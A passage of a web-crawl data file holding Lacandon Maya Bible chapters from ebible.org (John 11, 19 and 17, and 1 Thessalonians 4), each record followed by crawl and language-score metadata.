cojen irej ―quij.\n35 Jesús caj oc'nʌjij. 36 A mac a ti' yʌnob caj u pacran arob:\n―Iric, cu yajquintic Lázaro.\n37 Ti' yʌn mac caj u ya'arob:\n―Aro' raji' a tu jawsaj u wich a ch'opo' uch. Mʌ' wa raji' c'ucha'an yor yamta'bir Lázaro soc mʌ' u quimij?\nRic'sa'b Lázaro ten Jesús quir u cuxtar\n38 Jesús caj c'uchij tu' but'a'an u baquer Lázaro yʌn u jap'nin tunich caj u tucraj tu yor quire' mʌ' u c'at yiric quimin mac. Tu' but'ij yʌn u mac u jor. 39 Jesús caj ya'araj:\n―Ruc'sex ―quij―, u mac u jor tunich.\nMarta, a yits'in ixba Lázaro caj u ya'araj ti':\n―Jaj Ts'urir ―quij―, tu'jij tin t'ʌn quire' toc yʌn cuatro q'uin caj but'ij.\n40 Jesús caj u ya'araj ti':\n―Mʌ' wa tin wa'araj tech wa ca wacsic ta wor ca bin a wirej jach manan u muc' C'uj? ―quij Jesús.\n41 Caj u ruc'sob u tunichir u mac u jor tu' but'a'an u baquer Lázaro. Jesús caj u pʌctaj ich ca'anan caj u ya'araj:\n―In Tet C'uj ―quij―, quin wa'aric tech: \"Bayo'\" quire' rajra' ca wu'yic in t'ʌn. 42 In wer rajra' ca wu'yic in t'ʌn. Baxuc quin wac ti' tech quire' ti' yʌn mac tera' soc yubic ba' caj in wa'araj tech soc yacsicob tu yorob tech ta tuchi'tajen.\n43 Caj ts'oc ya'aric aro' Jesús caj u c'am t'ʌnaj:\n―Lázaro ―quen―, joq'uen ti' taro' ―quij Jesús.\n44 A quimeno' ca' joq'uij toc sʌsʌ c'ʌxa'an u c'ʌb yejer noc', baxuc u yoc xan. Baxuc u wich tapa'an yejer panyu. Jesús caj ya'araj ti'ob a mac ti' yʌnob:\n―Jitex u noc' soc u bin ―quij Jesús.\nCu tucricob bic tabar cu bin u chuquicob Jesús\n(Mt. 26.1‑5; Mr. 14.1‑2; Lc. 22.1‑2)\n45 Rajen ya'ab u winiquirob judío a ti' yʌnob yejer María tu yacsob tu yorob ti' Jesús quire' yerob yʌjtaquirob quire' tu yirob Jesús u ric'sic Lázaro. 46 A mac mʌ' tu yacsajob tu yorob quire' mʌ' u c'at yiricob ba' cu betic Jesús. Rajen caj binob ich a fariseojo' caj u tsicbʌtajob a ba' caj u betaj Jesús. 47 Rajen u ts'urirob sacerdote yejer a fariseojo' caj u much'quintajob u bʌj u yet ts'urirob u winiquirob judío, caj ya'arob:\n―Ba' quic bin ic betejex ti' a xibo' a tar yʌno' quire' tan u yesic carem u beyajob? 48 Quire' wa quic aric: \"Tsire'ej\", tu cotor mac cu bin u yacsicob tu yorob ti' quire' yerob yʌjtaquirob. A baywo' cu bin acsa'bir ten a pimob quir ic ts'urintiquex, rajen u rey ich u cajar Roma cu bin u ts'ictar yejero'onex. Cu bin tuchi'tic a soldadojo' ca' tacob u quinsico'onex ca' tacob u rʌc joc'sico'onex.\n49 Chen turiri' u yet ts'urirob u c'aba' Caifás, raji' a je' yaxq'uina' c'uchij tu q'uinin u yocar u jer u jach ts'urir sacerdote, raji' Caifás. Raji' caj ya'araj ti'ob:\n―Mʌna' ba' a werex a techexo'. 50 Mʌ' wa ca najtiquex wa tsoy cu quimin turiri' mac ti' tu cotoro'onex soc tu cotor mac mʌ' u bin quinsbir ten u winiquirob romano.\n51 A Caifáso' mʌ' u bʌjiri' tu ya'araj a jera' quire' raji' u jach ts'urir sacerdote quire' c'uchij tu q'uinin u yocar u jer u jach ts'urir sacerdote. 52 Mʌ' chen ti' to'onex, quij Caifás, cu bin quinsbir Jesús. Cu bin quinsbir u parar C'uj ti' tu cotor a mac C'uj yʌnin a ti' yʌnob ich yoc'ocab soc u p'eri'quintico'onex a mac a C'uj yʌnino'. 53 Rajen u ts'urirob sacerdote seb caj u tucrajob u c'at u quinsicob Jesús.\n54 Rajen Jesús mʌ' ju yes u bʌj ti' u winiquirob judío. Tu junan caj binij yejer u camsʌwinicob ich u ru'umin Judea, caj bin ich tʌcay ru'um. Caj c'uchij ich u cajar Efraín. Ti' p'atij yejer u camsʌwinicob.\n55 Tabar u c'uchur tu q'uinin u qui'qui' janʌnob u winiquirob judío. Ra' u q'uinin pascua, ra' u q'uinin cu c'ʌ'oticob tu potmasta'b ten yʌjmasirob u t'ʌn C'uj uch soc mʌ' u quimin u parar a yʌn rocha'b ten u na'. Ya'ab winiquirob caj rʌc binob ich u cajar Jerusalén cax mʌ' c'uchuc tu q'uinin pascua soc u nup'sic a ba' cu ya'aric ich u t'ʌn Moisés soc tsoy yiricob C'uj. 56-57 Caj c'uchob u winiquirob judío ich u cajar Jerusalén. Caj yubob ya'aricob a ba' ara'b ti'ob ten u jach ts'urirob sacerdote yejer a fariseojo': \"Wa mac cu yiric tu' yʌn Jesús ca' tac ya'arej tu' tu yiraj Jesús soc u bin chucbirob quir u ma'cʌr.\" Rajen tan u manob cʌxta'bir Jesús. Tu cotor mac ti' yʌn ich carem naj tan u pacran c'aticob tan ya'aricob:\n―Ba' ca tucric je' wa ju tar Jesús ca' bin c'uchuc tu q'uinin u qui'qui' janʌn? ―baxuc tan u pacran tsicbarob ti' Jesús.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN11.htm","date":"2022-05-28T08:22:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00046.warc.gz","language":"lac","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000003695487976}","num_words":1654,"character_repetition_ratio":0.074,"word_repetition_ratio":0.017,"special_characters_ratio":0.287,"stopwords_ratio":0.475,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19\n1 Pilato caj ya'araj u jats'ʌr Jesús. Rajen u soldado Pilato caj u ch'ajob Jesús caj u jʌts'ajob u pach Jesús. 2 A soldadojo' caj u jit'ajob q'ui'ix caj u tʌcʌjob caj u p'o'quintaj Jesús. Caj u tʌcob u buquintej Jesús u c'ʌrʌb noc'. Raji' u noc' chʌc irej cu buquintic a reyo'. 3 Caj u tus t'ʌnajob irej wa rey tan ya'aricob:\n―Ca' cuxraquech ya'ab u q'uinin u reyech u winiquirob judío ―baxuc nanij cu t'anic jach rey. Rajra' tan u tac' jʌts'ticob Jesús.\n4 Pilato caj ca' joq'uij ich tancab tu' yʌnob u winiquirob judío caj u ya'araj ti'ob:\n―Irex, tin joc'saj a je' xiba' ʌcʌtan techex soc a werex mʌna' turiri' u si'pir tin wiraj ti'.\n5 Caj joc'sab Jesús ʌcʌtan ti'ob. Jesús ti' toy u p'o'quinmʌn q'ui'ix. Baxuc u noc' ti' toy u buquinmʌn a chʌc noc'o'. Pilato caj u ya'araj ti' u winiquirob judío:\n―Ire'ex a je' xiba'.\n6 Rajen caj yirob Jesús u jach ts'urirob sacerdote yejer u policía a cu beyajob ich carem naj tu cu naj c'ujinticob u winiquirob judío. Caj u yʌnxchun u c'am aricob ti' Pilato:\n―Bʌjej ich cruz, bʌjej ich cruz.\nRajen Pilato caj ya'araj ti'ob:\n―Ch'a'ex ca' a bʌjex ich cruz a bʌjiri'ex quire' a teno' mʌ' in wiric wa yʌn u si'pir.\n7 U winiquirob judío caj u nuncob ti' tan ya'aric:\n―A tenob yʌn in t'ʌnob. Aj in t'ʌnob cu ya'aric ca' in quinsob wa cu tucric u bʌjiri' raji' u parar C'uj.\n8 Pilato caj u toc ch'aj sajquir uch a ba' cu bin tar ti' Jesús. Caj ts'oc u yubic a ba' caj u ya'arob ti', tu jach ch'aj sajaquir Pilato quire' yerob u parar C'uj, u winiquirob judío. 9 Pilato caj ca' oquij ich palacio yejer Jesús caj u c'ataj ti' Jesús:\n―Tub a tar? ―quij.\nJesús mʌ' c'ʌs ba' tu nuncaj ti'.\n10 Rajen Pilato caj u ya'araj ti' Jesús:\n―A techo' mʌ' ja nunquic ten quire' a teno' a ts'urirenex. Wa jin c'at in cha'iquech ca' xiquech. A teno' c'ucha'an in wor in wa'aric ca' in quinsech ich cruz xan.\n11 Jesús caj u ya'araj ti':\n―Mʌ' c'ucha'an a wor a betic baxuc aro' ti' ten wa C'uj mʌ' ju c'at, a ti' yʌn ich ca'anano'. Rajen u jach ts'urirob sacerdote a mac tu c'ubajenob ti' tech, jach manan yʌn u si'pirob.\n12 Rajen Pilato u c'at u cha'ic Jesús ca' xic chen u winiquirob judío caj u c'am arob:\n―Wa ca cha'ic u bin mʌ' tan a qui' beyaj ti' a rey César quire' tu cotor mac a ju c'at yocar rey cu p'actic u rey César.\n13 Pilato caj ts'oc yubic ya'aric a pimo' caj u ya'araj ti' u soldado ca' u yacsej Jesús tu re'a'an naj. Ich chumuc tu' re'a'an naj ti' yʌn u cutan gobernador raji' beta'b ti' tunich. Raji' quir u cutar soc ya'aric wa cu cha'bʌr wa yʌn u quinsa'r wa ber cu ts'ocar u to'car u jo'r. U cutan gobernador pʌcha'an u c'aba' ich u t'ʌn hebreo Gabata. Rajen Pilato caj oc u cutar ti' taro'. 14 Caj c'uchij c'ac'chunq'uin caj oc Pilato quir u cutar ich u cutan gobernador. Raji' u jach q'uinin pascua. Caj curʌj Pilato caj ya'araj ti' u winiquirob judío:\n―Iriquex a je' reyexa'.\n15 U winiquirob judío caj u c'am arajob, tan ya'aricob:\n―Sinej ich cruz ca' quimic. Sinej ich cruz ca' quimic.\nChen Pilato caj ya'araj ti'ob:\n―Cax wa ja reyex quin sinic ich cruz ca' quimic?\nU jach ts'urirob sacerdote caj u ya'arob:\n―Raji' mʌ' ic reyex aro'. Chen raji' ic reyex César.\n16 Rajen Pilato caj u quibaj a ba' u c'atob caj u c'ubaj ti'ob u soldado ca' u bʌjej ich cruz. Rajen a soldadojo' caj u pʌyob Jesús.\nBʌja'an Jesús ich cruz\n(Mt. 27.32‑44; Mr. 15.21‑32; Lc. 23.26‑43)\n17 Rajen u soldado caj u ts'ʌraj u pach Jesús, rajen tu c'ochaj u cruz. Caj bin tu cuchir a cu ya'aric u baquer u jo'r mac. Ich u t'ʌn hebreo pʌcha'an u c'aba' Gólgota. 18 Ti' tu bʌjob ich cruz, yet bajac ca'tur mac, u tiri' bʌja'an xan tu ts'ic, u tiri' bʌja'an xan tu no'oj Jesús. Chumuc yʌn Jesús. 19 Pilato caj u ts'ibtaj ich yoc'o che' jun xot' caj u ts'ibta, baxuc tan ya'aric: \"A je' Jesús a cu tar ich u cajar Nazaret, raji' u rey u winiquirob judío.\" Raji' bʌja'an ich yoc'or u jo'r Jesús ich u cruz. 20 Ya'ab u winiquirob judío cu xaquicob tu' ts'iba'an quire' ti' bajij Jesús ich bʌytʌc tu cu yocarob ich u cajar Jerusalén. A ba' caj u ts'ibtaj Pilato ich u t'ʌn hebreo yejer ich u t'ʌn griego yejer ich u t'ʌn latino. 21 U jach ts'urirob sacerdote caj ts'oc yiricob a ba' ts'iba'an ich cruz Jesús caj bin ya'aricob ti' Pilato:\n―C'axej a ba' caj a ts'ibtaj soc mʌ' ya'aric: \"Raji' u rey u winiquirob judío.\" Chen ca' a ts'ibtej: \"Raji' cu ya'aric u reyen u winiquirob judío.\"\n22 Pilato caj u nuncaj ti'ob tan ya'aric:\n―An bic caj in ts'ibtaj toc tsire'ej, a teno', mʌ' in c'axic ―quij Pilato.\n23 A mac a tu bʌjob Jesús cuatrojob soldado. Caj ts'oc u bʌjicob Jesús tu ch'ajob u noc'. Jujuntur tu ch'aj turiri', c'ʌs p'atij turiri'. Raji' u ca' yarir u noc' Jesús quire' toc coch caj sʌcta'b u tan u noq'uir, mʌna' u ber u chuyur. 24 Rajen u soldado cu pacran aricob:\n―Cax mʌ' ic jʌtic. Ca' ij cʌrʌc'tej chan tunich, ca' ij quirej mac cu bin ch'ic u ca' yarir u noc'.\nA baxuco' caj u nup'saj tu' ts'iba'an u t'ʌn C'uj uch caj u ya'araj: \"Mʌ' u bin u jʌticob u ca' yarir in noc'. Cu chen binob yʌrʌc'ticob chan tunich soc yiricob mac cu bin u toc ch'ic in noc'\", quij. Baxuc ya'aric yʌjtseq'uir u t'ʌn C'uj uch. Rajen baxuc caj u betob u winiquirob soldado.\n25 Ti' ch'ica'an u nʌ' Jesús tu' bʌja'an ich cruz Jesús. Ti' yʌn u bʌj u nʌ' Jesús u c'aba' María xan. U c'aba' u mam Cleofas. Baxuc ti' yʌn María Magdalena. 26 Ti' yʌn Juan bʌytʌc tu' bʌja'an Jesús, a mac jach yajbir ten Jesús. Ti' yʌn tu' yʌn u nʌ' Jesús. Rajen Jesús caj yiraj ti' yʌnob u nʌ' yejer Juan, caj ya'araj Jesús ti' u nʌ':\n―Nʌ', quen, raji' Juan, ch'a'ej tech soc irej a parar.\n27 Jesús caj u ya'araj ti' Juan:\n―Raji' in nʌ', ch'a'ej tech soc irej a nʌ' tech.\nRajen Juan tu yacsaj tu yatoch soc ti' cu cʌjtar ich yatoch Juan.\nQuimij Jesús\n(Mt. 27.45‑56; Mr. 15.33‑41; Lc. 23.44‑49)\n28 Caj ts'oc u toc aric ti' Juan aro', Jesús yer yʌn u rʌc nup'sic a ba' ts'iba'an ich u t'ʌn C'uj uch, rajen caj u ya'araj:\n―Uc'chʌjen ―quij Jesús.\n29 Ti' yʌn ich ruch chup u c'ab uva, pʌj. Rajen caj u ts'ʌmaj u noq'uir ich u c'ab uva a pʌjo' quir u ts'u'ts'ic ya'arir a noc'o' irej tʌmʌn. Caj u tʌcaj ich jʌrʌr u c'aba' hisopo caj u tich'itej u chi' Jesús ca' u ts'u'ts'aj. 30 Jesús caj u ts'u'ts'aj u c'ab uva a pʌjo' caj ts'oc aro' caj u ya'araj:\n―Tin ts'ocsaj in beyaj ―quij Jesús.\nCaj u chinquintaj u jo'r quire' quimij.\nCaj rom u ch'ʌra'tir Jesús ten soldado\n31 Quire' a samano' u q'uinin quir u jesicob u bʌj u winiquirob judío, rajen u ts'urirob sacerdote. Mʌ' u c'atob yiricob u p'atʌrob u baquer ich cruz. Mʌ' ja wirej, ti' u winiquirob judío jach no'j yiricob u q'uinin saman tu cu bin u jesicob u bʌj. Rajen caj u c'atajob ti' Pilato soc u wʌticob u baquerob a mac a bʌja'anob ich cruz xan, u chac bʌq'uerob soc seb cu quiminob soc c'ucha'an yorob u yemsicob u baquer ich cruz. 32 Rajen caj c'uchob soldado caj u rʌc wʌtob u chac bʌq'uer a turiri' u yet bʌja'an winico'. Caj c'uchob tu' yʌn u jer yet bʌja'an winiquir caj u wʌtob u chac bʌq'uer. 33 Caj nats' tu' yʌn Jesús caj yirob quimij, rajen mʌ' tu wʌtob u chac bʌq'uer Jesús.\n34 Chen turiri' soldado tu ramaj u ch'ara'tir Jesús yejer ransa ca'ch. Sasame' caj joc' u q'uiq'uer yet jocac u ya'arir u bʌq'uer. 35 A teno', quij Juan, caj in wiraj bic caj quimij Jesús. Rajen taj a ba' quin wa'aric soc baxuc a werex xan. 36 A ba' u ber ti' Jesús ich cruz ten soldado, ra' quir u nup'sic a ba' ts'iba'an ich u t'ʌn C'uj uch, tu cu ya'aric: \"Mʌ' ju bin wʌtbir u baquer, mʌ' turiri'\", baxuc caj ya'araj u t'ʌn C'uj uch. 37 Baxuc ti' ts'iba'an u jer ich u t'ʌn C'uj uch, tan ya'aric: \"Robob cu bin u yiricob ti' tu' rom in ch'ʌra'tir\", baxuc ts'iba'an ich u t'ʌn C'uj xan.\nBut' Jesús ich japnin tunich\n(Mt. 27.57‑61; Mr. 15.42‑47; Lc. 23.50‑56)\n38 Pachir José a cu tar ich u cajar Arimatea, raji' tu muc u acsaj tu yor ti' Jesús quire' cu sʌjtic u jach ts'urirob u winiquirob judío, mʌ' ju ya'araj ti' u rac'ob wa tu yacsaj tu yor. Caj yiraj quimij Jesús caj bin ich Pilato quir u c'atic wa tsoy u ch'ic u baquer Jesús quir u but'ic ich japnin tunich. Pilato caj u ya'araj ti' ca' yens u baquer ich cruz quir u ch'ic u but' u baquer ich japnin tunich. Caj bin u ch'ic. 39 Yet binac Nicodemo, raji' a mac bin tsicbar yejer Jesús oq'uin uch. Bin u yamtej José. Nicodemo tu mʌnaj u ts'ac mirra, xaca'an yejer u ts'ac áloes quir u jic'tic tu bʌq'uer Jesús, treinta kilos yʌn. 40 Robob caj u cuchob u baquer Jesús, José yejer Nicodemo. Caj u sʌsʌjc'ʌstajob u baquer Jesús yejer sʌc noc'. Tu cu sʌsʌjc'ʌsticob u baquer Jesús, ti' cu puricob u ts'ac mirra yejer u ts'ac áloes soc mʌ' netu' u boc quire' baxuc nanij cu beticob u winiquirob judío tu cu bin u but'ic u baquer u rac'ob ich japnin tunich. 41 Tu' tu sinob Jesús ich cruz uch bʌytʌc ti' u chan corir u pʌc'ar u che'er Olivos. Tu' yʌn u che'er Olivos ti' yʌn u mucnaj japnin tunich a beta'b ten mac. Mʌna' mac u but'mʌn u baquer quire' ric'ben. 42 Tabar u q'uinin quir u jerar u winiquirob judío quire' tabar u bin q'uin. Quire' bʌytʌc ti' yʌn u japnin tunich, rajen c'ucha'an yorob u but'icob u baquer Jesús.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN19.htm","date":"2022-05-28T08:28:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00214.warc.gz","language":"lac","language_score":0.999992013,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999920129776001}","num_words":1673,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.295,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17\nJesús cu t'ʌnic C'uj ti' u camsʌwinicob\n1 Jesús caj ts'oc u ya'aric aro' caj u nacsaj u wich ca'anan quir u t'ʌnic C'uj. Caj ya'araj:\n―Tet ―quij―, c'uchij tin q'uin esej ti'ob a winico' jach caremen a teno' quire' a pararen soc c'ucha'an in wor in wesic ti' a winico' jach caremech xan. 2 Quire' ta ts'aj in cʌnantej tu cotor mac a ti' yʌn ich yoc'ocab cax a mun ti' yʌn soc c'ucha'an in wor in ts'ic ti'ob u cuxtar muntq'uin a mac ta ts'aja ten. 3 In Tet jach C'ujech quire' mʌna' u jer baxuquech. A teno' Jesucristojen a mac a ta tuchi'taj ich yoc'ocab. Tu cotor mac u yerech, baxuc u yeren xan. Je' u c'ʌmicob u cuxtar munt q'uin.\n4 'Ts'oc in wesic ti' tu cotor mac a ti' yʌn ich yoc'ocab jach caremech a techo'. Quire' tin ts'ocsaj in beyaj a ta ts'aja ten baje'rer. 5 Baje'rer Tet ―quij Jesús―, esej ti' tu cotor mac jach caremen a teno' ʌcʌtanech an ten bic ti' yʌnen uch yejerech cax mʌna' toy ru'um uch.\n6 'A teno', tin wesaj ti'ob bicyʌra'ech ti' a mac ta tetaj ich yoc'ocab quir a ts'ic ten. Tech yʌnin ca' ta ts'ajob ten caj u quibob a t'ʌn. 7 Tu cotor ba' a ta ts'aja ten u tar ti' tech in Tetech. 8 A teno' tin toc araj ti'ob a t'ʌn, a ta wa'araj ten. Robob caj u c'ʌmajob a t'ʌn quire' yerob taj, ti' in tar tub yʌnech. Caj u yacsajob tu yorob tech ta tuchi'tajen.\n9 'A teno' ―quij Jesús―, quin c'atic tech ca' a yamtejob. Mʌ' jin c'atic tech quir a yamtic tu cotor mac ich yoc'ocab. Chen ca' a yamtej a mac a pararob a mac a ta tetaj ca' u yacsejob tu yor ten. 10 Tu cotor mac tech yʌnin, ten yʌnin xan. Tu cotor a mac ten yʌnin tech yʌnin xan. P'eri' to'on yʌnin quire' a ba' cu bin u beticob quin bin sʌjta'bir.\n11 'Baje'rer tar in ca' ich tech tu ca'ten. Mʌ' jin p'atʌr ich yoc'ocab. Chen robob cu bin u p'atʌrob ich yoc'ocab tu junanob. In Tet ʌcʌtan tech a mʌna' u si'piro' quin c'atic tech ca' a cʌnantej tu cotor mac a ta ts'aj ten uch. Soc c'ucha'an yorob ti' wa ba' cu tar u tumtic yorob. Quin c'atic tech ca' a cʌnantej ti'ob soc p'eri' u tucurob an ten bic tenob quire' p'eri' in tucurob xan. 12 Ti' toy yʌnen yejerob ich yoc'ocab a mac a ta ts'aja ten tin cʌnantajob tin camsaj ti'ob a ba' a c'at. Tin cʌnantaj soc mʌ' u satʌrob. Chen ti' toy cu sayʌrob tin pach a mac a ta ts'aja ten. Chen turiri' satij. Quire' ti' ts'iba'an ich u t'ʌn C'uj cu bin satʌr.\n13 'Quire' tar in ca' ta wicnʌn, Tet. Chen tan in t'ʌniquech ti'ob, ti' toy yʌnen yejerob tera' ich yoc'ocab. Soc cu yubicob soc cu chichquinta'r yorob quire' in t'ʌn. 14 Tin wa'araj ti'ob a t'ʌn. Baje'rer robob caj p'actabir ten mac. Quire' mʌ' p'eri'ob u tucurob yejer a mac ti' yʌn yoc'ocab. Quire' baxuc ten ―quij Jesús―, mʌ' p'eri' in tucur yejer a mac ti' yʌn ich yoc'ocab. 15 Mʌ' tan in c'atic tech ca' a joc'sicob ich yoc'ocab. Tan in c'atic tech ca' a cʌnantob ti' a quisino' soc mʌ' u p'ʌticob u t'ʌn C'uj. 16 Quire' mʌ' p'eri' u tucurob yejer a mac ti' yʌn ich yoc'ocab quire' baxuc ten ―quij Jesús―, mʌ' p'eri' in tucur yejer a ti' yʌn ich yoc'ocab. 17 Tsoyquintej yorob yejer a t'ʌn quire' a t'ʌn a techo', raji' taj. 18 An ten bic ta tuchi'tajen ich a mac a ti' yʌnob yoc'ocab quir in wa'aric a t'ʌn. Baxuc ti'ob quin tuchi'tic ich yoc'ocab quir u ya'aricob a t'ʌn yoc'ocab. 19 Quire' tan in c'ubic in bʌj quir in betic a ba' a c'at quire' quin yajquinticob xan soc jach jaj tech yʌninob tu cotorob. C'ucha'an yorob u beticob aro' quire' baxuc tin betaj ten xan.\n20 'Mʌ' chen ti'ob quin c'atic tech, quin c'atic tech ti'ob a mac a cu bin u yacsic tu yor pachir ca' bin yubej u tsec'ticob a t'ʌn. 21 Quin t'ʌniquech ti'ob, Tet, soc p'eri'ob u tucurob an ten bic tech yejeren, Tet, p'eri'enob in tucurob. Soc tu cotor mac cu bin u yacsicob tu yorob tech ta tuchi'tajen. 22 A teno' tin ts'aja ti'ob u tsoyir u pixamob an ten bic ta ts'ajten u tsoyir in pixam soc p'eri' u tucurob an ten bic tenob p'eri' in tucurob xan ―quij Jesús―. 23 A teno' ti' yʌnen tu pixamob, a techo' ti' yʌnech tin pixam xan soc raji'ob jach jaj p'eri'ob u tucurob soc tu cotor mac yerob tech ta tuchi'tajen soc yerob xan tech ta yajquintaj a mac a cu yacsicob tu yorob in t'ʌn an ten bic ten ca yajquintiquen, Tet.\n24 'Tet ―quij Jesús―, in c'at u tarob a mac a ta ts'aja ten tu' quin bin a teno' soc munt q'uin ti' yʌnob yejerenob. Soc yiricob a teno' u sasiriren a ta ts'aja ten quire' ta yajquinten cax mʌna' toy yoc'ocab uch. 25 In Tetech, C'uj, taj a wor a techo'. A mac a ti' yʌn ich yoc'ocab mʌ' yerech chen ten in werech. In camsʌwinicob yerob tech ta tuchi'tajen. 26 Tin camsaj ti'ob soc yerechob. Ti' toy jach ya'ab u q'uinin bin in camsic ti'ob soc yerechob a techo' jach manan. Soc u yajquintiquechob an ten bic ca yajquintiquen soc ti' quin cʌjtar ich u pixamob, ―baxuc caj u t'ʌnaj C'uj Jesús.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN17.htm","date":"2022-05-28T08:26:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00372.warc.gz","language":"lac","language_score":0.9999972582,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999972581863403}","num_words":895,"character_repetition_ratio":0.092,"word_repetition_ratio":0.007,"special_characters_ratio":0.287,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nA ba' cu qui'quintic yor C'uj\n1 Bin u ca' ts'ocar in wacob techex baje'rer, in bʌjobechex. Chich quin wacob techex quire' baxuc u c'at Jesucristo ca' in chich arej techex. Rajen quin chich c'aticob techex ca' a qui' cʌnex a ba' tin camsob techex ti' u t'ʌn C'uj quire' tan a sayʌrex tu pach Jesús. 2 Mʌ' wa c'aj techex a ba' tin camsexob, a ucho'? Rajen tin camsechexob quire' baxuc caj u toc araj Jesús ic Jaj Ts'urirex. Raji' a werex. 3 A C'ujo' u c'at techex ca' a cʌnex C'uj soc mʌna' a si'pirex, soc mʌ' a wacsiquex a si'pirex. A C'ujo' mʌ' u c'at yirechex a manex ich u c'asir mac. 4 A C'ujo' u c'at yiriquechex yejer a raq'uiri'e'. Tsoy yiric a C'ujo' wa maquix yʌn u raq'uirire'. 5 A C'ujo' mʌ' u c'at yirechex a manex yejer a xquic a mʌna' u mam, mʌ' tsoyi'. Mʌ' ja wirej, a mac a mʌ' yacsmʌnob tu yorob mʌ' yer C'uj, ra' cu pachticob xquic. 6 Mʌ' a yʌn cʌniquex a tus pʌyiquex u rac' a wet acsʌ'orirex. Mʌ' ja wirej, ic Jaj Ts'urirex jach manan yaj cu bin u ts'ajic muc'yaj a ti'o'. A teno' baxuc tin chich araj techex a ucho'. 7 A C'ujo' tu tetajo'onex soc mʌ' ic manex ich c'as. Mʌ' u c'at ij cʌxtiquex ic si'pirex. Tu chen tetajo'onex C'uj soc taj quij cacsex tij corex u t'ʌn C'uj. 8 A mac a cu p'astic a je' t'ʌna', a quin camsicob techex baje'rer. Mʌ' xib cu p'astiqui', C'uj cu p'astic. Ra'iri' a tu ts'aj to'onex u Taj'or u Pixam C'uj.\n9 A ba' ta c'atex a tenobo' jach tsoy a yajquintiquex a wet acsʌ'orirex. Chen mʌ' ba'wir quin ts'ibticob techex ich ju'un. Mʌ' ja wirej, C'uj tu toc araj uch ca' a pacran yajquintex a bʌjex a wet acsʌ'orirex. 10 Mʌ' ja wirej, quin wiricob rajra' tan a yajquintiquechex tu cotor a wet acsʌ'orirex ich u ru'umin Macedonia. Chen a tenobo' in c'atob techex, in bʌjobechex soc jach manan a jach yajquintiquex a wet acsʌ'orirex. Raji' quin chich c'aticob techex. 11 Ca' a p'isex a bʌjex soc mʌna' ba' cu ya'aricob soc p'eri'i' a worex yejer a rac'obex. Bayiri' xan, ca' a p'isex a bʌjex quir a beyajex. Mʌ' tsoy a p'ʌtiquex a beyaj. Ca' a beyanʌquex a bʌjiri'ex. C'aj techex a tin toc arajob techexe' soc rajra' a beyajex. 12 A baywo' a mac a cu tar, a mʌ' yacsmʌnob tu yorob bin u ca' sʌj techex quire' a wacsmʌnex ta worex. Mʌ' ja wirej, yirob jach sac'orechex quire' toc yʌnex a wo'ochex. Rajen mʌ' ba' wir ca bin a c'atex a wo'ochex ich u jer mac.\nTan u tar Jesucristo\n13 A tenobo', quij Pablo. In c'atob a werex, in bʌjobechex ba' u ber u quimrir a yacsmʌnob tu yorob. In c'at a werex ba' u ber ti' u quimrir soc mʌ' a wac'tiquex u quimrir, irechex a mac a mʌ' yacsmʌnob tu yorob. Rajen cu yac'ticob u bʌj quire' mʌ' u jach erob tu cu binob, rajen cu yac'ticob u bʌj. 14 Quire' quimij to'onex Jesús quire' raji' quij cacsiquex tij corex ti' Jesús. Quire' ric' to'onex tu quimrir Jesús quire' raji' quij cacsiquex tij corex ti' Jesús. Quet bayiri' quij cacsiquex tij corex ti' C'uj, raji' cu bin u ric'so'onex tij quimrirex a mac a yacsmʌnob tu yorobe'. Bin u pʌybir Jesús ca' bin wʌc'ʌs uruc tera'.\n15 Rajen quin camsicob techex aro', quire' ra' u t'ʌn ic Jaj Ts'urirex Jesucristo. Mʌ' ja wirej, wa ti' yʌno'onex ca' bin uruc Jesús. Mʌ' pʌyber quic binex ca'anan quire' p'eri' ca' bin xico'onex yejer a mac a quimenob a yacsmʌnob tu yorob uch. 16 P'eri' ca' bin xicob yejero'onex. Mʌ' ja wirej, u bʌjiri' Jesús ca' bin wʌc'ʌs tac tera' ich yoc'ocab. Ta u tar ich ca'anan ca' bin tac. Jach c'am ca' bin yustej yejer u mascabir quir u yutsta'r. C'am ca' bin u t'ʌnej yʌjmasirob u t'ʌn C'uj quire' baxuc ara'b ten C'uj ti'ob soc c'am u t'ʌnic. A mac quimenob uch, a yacsmʌnob tu yorob raji'ob pʌyber cu yʌn riq'uir. 17 Caj ts'oc u riq'uirob a quimene', a cuxa'anobo' pachir ca' bin xicob a ti'obo'. Ti' quic bin ic much'quinbiro'onex ich ca'anan. P'eri' ca' bin much'quintaco'onex ich u muyarir yejer ic Jaj Ts'urirex. A baxuco' ti' yʌno'onex yejer ic Jaj Ts'urex munt q'uini'. 18 Rajen pacran qui'quintex a wor quire' je' tar Jesúse'.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/1TH04.htm","date":"2022-05-27T15:50:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662658761.95\/warc\/CC-MAIN-20220527142854-20220527172854-00423.warc.gz","language":"lac","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 